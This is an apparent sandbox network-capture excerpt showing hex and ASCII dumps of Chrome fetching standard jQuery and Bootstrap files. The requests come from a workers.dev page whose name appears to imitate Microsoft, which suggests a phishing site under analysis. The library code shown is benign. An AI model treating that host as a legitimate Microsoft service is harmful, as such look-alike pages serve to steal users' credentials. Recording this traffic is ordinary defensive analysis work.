2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 2c Data Ascii: n o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o],

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49721	151.101.2.137	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:33:55 UTC	696	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://wmicrosouab-4ba8.udydzj.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://wmicrosouab-4ba8.udydzj.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 23:33:56 UTC	567	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 23 Apr 2024 23:33:56 GMT Age: 1385368 X-Served-By: cache-lga21963-LGA, cache-bur-kbur8200160-BUR X-Cache: HIT, HIT X-Cache-Hits: 23, 3 X-Timer: S1713915236.086779,VS0,VE0 Vary: Accept-Encoding
2024-04-23 23:33:56 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-04-23 23:33:56 UTC	16384	IN	Data Raw: 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 26 26 6a 5b 32 5d 2c 6d 3d 6e 26 26 71 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 6e 5d 3b 77 68 69 6c 65 28 6d 3d 2b 2b 6e 26 26 6d 26 26 6d 5b 70 5d 7c 7c 28 74 3d 6e 3d 30 29 7c 7c 6f 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 74 26 26 6d 3d 3d 3d 62 29 7b 6b 5b 61 5d 3d 5b 77 2c 6e 2c 74 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6d 3d 62 2c 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6a 3d 6b 5b 61 5d 7c 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 29 2c 74 3d 3d 3d 21 31 29 77 68 69 Data Ascii: \|[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]\|\|(t=n=0)\|\|o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),j=k[a]\|\|[],n=j[0]===w&&j[1],t=n),t===!1)whi
2024-04-23 23:33:56 UTC	16384	IN	Data Raw: 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 30 2c 69 3d 61 2e 6c 65 6e 67 74 68 2c 6a 3d 6e 75 6c 6c 3d 3d 63 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 2e 74 79 70 65 28 63 29 29 7b 65 3d 21 30 3b 66 6f 72 28 68 20 69 6e 20 63 29 54 28 61 2c 62 2c 68 2c 63 5b 68 5d 2c 21 30 2c 66 2c 67 29 7d 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 65 3d 21 30 2c 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 64 29 7c 7c 28 67 3d 21 30 29 2c 6a 26 26 28 67 3f 28 62 2e 63 61 6c 6c 28 61 2c 64 29 2c 62 3d 6e 75 6c 6c 29 3a 28 6a 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6a 2e 63 61 6c 6c 28 72 28 61 29 2c 63 29 7d 29 29 2c 62 29 29 66 6f 72 28 3b 68 3c 69 3b 68 2b 2b 29 62 28 61 5b 68 5d 2c 63 2c 67 3f 64 3a 64 2e 63 Data Ascii: e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)\|\|(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.c
2024-04-23 23:33:56 UTC	16384	IN	Data Raw: 6f 5d 29 7b 69 66 28 62 2e 65 76 65 6e 74 73 29 66 6f 72 28 64 20 69 6e 20 62 2e 65 76 65 6e 74 73 29 65 5b 64 5d 3f 72 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 63 2c 64 29 3a 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 63 2c 64 2c 62 2e 68 61 6e 64 6c 65 29 3b 63 5b 57 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 7d 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 26 26 28 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 29 7d 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 65 74 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 29 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: o]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a)
2024-04-23 23:33:56 UTC	4061	IN	Data Raw: 46 75 6e 63 74 69 6f 6e 28 61 29 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 49 6e 6e 65 72 28 61 2e 63 61 6c 6c 28 74 68 69 73 2c 62 29 29 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 72 28 74 68 69 73 29 2c 63 3d 62 2e 63 6f 6e 74 65 6e 74 73 28 29 3b 63 2e 6c 65 6e 67 74 68 3f 63 2e 77 72 61 70 41 6c 6c 28 61 29 3a 62 2e 61 70 70 65 6e 64 28 61 29 7d 29 7d 2c 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 41 6c 6c 28 62 3f 61 2e 63 61 6c 6c 28 74 68 69 73 2c Data Ascii: Function(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49724	104.18.10.207	443	5708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:33:55 UTC	715	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://wmicrosouab-4ba8.udydzj.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://wmicrosouab-4ba8.udydzj.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 23:33:56 UTC	933	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 23:33:56 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-CachedAt: 03/18/2024 12:16:57 CDN-ProxyVer: 1.04 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 1001 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 5a977dbb126d2c056150976ef1b4fcfd CDN-Cache: HIT CF-Cache-Status: HIT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8791a951bfab0adb-LAS alt-svc: h3=":443"; ma=86400
2024-04-23 23:33:56 UTC	436	IN	Data Raw: 37 63 30 66 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7c0f/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 28 Data Ascii: s"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a 28 6c 3d 6f 2c 7b 7d 2e 74 6f 53 74 72 69 Data Ascii: supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":(l=o,{}.toStri
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 Data Ascii: rigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._destroyElement
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 70 72 65 73 73 65 64 22 2c 21 70 28 74 Data Ascii: asAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-pressed",!p(t
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e 61 63 74 69 76 65 22 2c 41 43 54 49 56 45 Data Ascii: ave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".active",ACTIVE
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 5d 3b 76 61 72 20 69 3d 74 68 69 73 2e 5f 67 65 Data Ascii: fig.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];var i=this._ge
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: .tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirection=function(t
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 22 2b 69 29 2c 6f 2e 5f 69 73 53 6c 69 64 Data Ascii: on:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+" "+i),o._isSlid
2024-04-23 23:33:56 UTC	1369	IN	Data Raw: 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c 69 3d 22 2e 22 2b 6e 2c 6f 3d 74 2e 66 6e Data Ascii: ).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",i="."+n,o=t.fn

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49729	20.7.1.246	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 23:33:57 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 72 7a 75 78 53 4a 6b 59 62 6b 57 33 6c 6c 5a 42 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 65 37 33 36 36 66 61 33 64 64 32 34 63 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: rzuxSJkYbkW3llZB.1Context: 14e7366fa3dd24cc
